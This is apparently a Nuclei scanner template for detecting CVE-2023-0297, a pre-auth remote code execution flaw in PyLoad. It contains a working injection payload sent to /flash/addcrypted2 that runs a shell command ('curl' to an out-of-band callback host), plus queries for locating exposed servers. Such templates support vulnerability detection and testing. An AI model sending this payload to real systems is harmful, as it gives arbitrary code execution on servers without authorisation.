61 lines
1.9 KiB
YAML
61 lines
1.9 KiB
YAML
id: CVE-2023-0297
|
|
|
|
info:
|
|
name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
|
|
author: MrHarshvardhan,DhiyaneshDk
|
|
severity: critical
|
|
description: |
|
|
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
|
|
remediation: |
|
|
Upgrade PyLoad to a version that is not affected by this vulnerability.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/51532
|
|
- https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1058
|
|
- http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.html
|
|
- http://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-0297
|
|
cwe-id: CWE-94
|
|
epss-score: 0.32929
|
|
epss-percentile: 0.96583
|
|
cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: pyload
|
|
product: pyload
|
|
shodan-query: html:"pyload"
|
|
zoomeye-query: app:"pyLoad"
|
|
tags: huntr,packetstorm,cve,cve2023,rce,pyload,oast
|
|
variables:
|
|
cmd: "curl {{interactsh-url}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /flash/addcrypted2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /flash/addcrypted2 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- 'JDownloader'
|
|
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
# digest: 490a004630440220699235e56ae7cef1ade28efe2b3ae663a06f8b06d91a8652a6a80cf79b33d8d502203a4cc8001b8816217edb612d847e56ec4ecf26b3b85cf658f0c7b06f358ec7c0:922c64590222798bb761d5b6d8e72950
|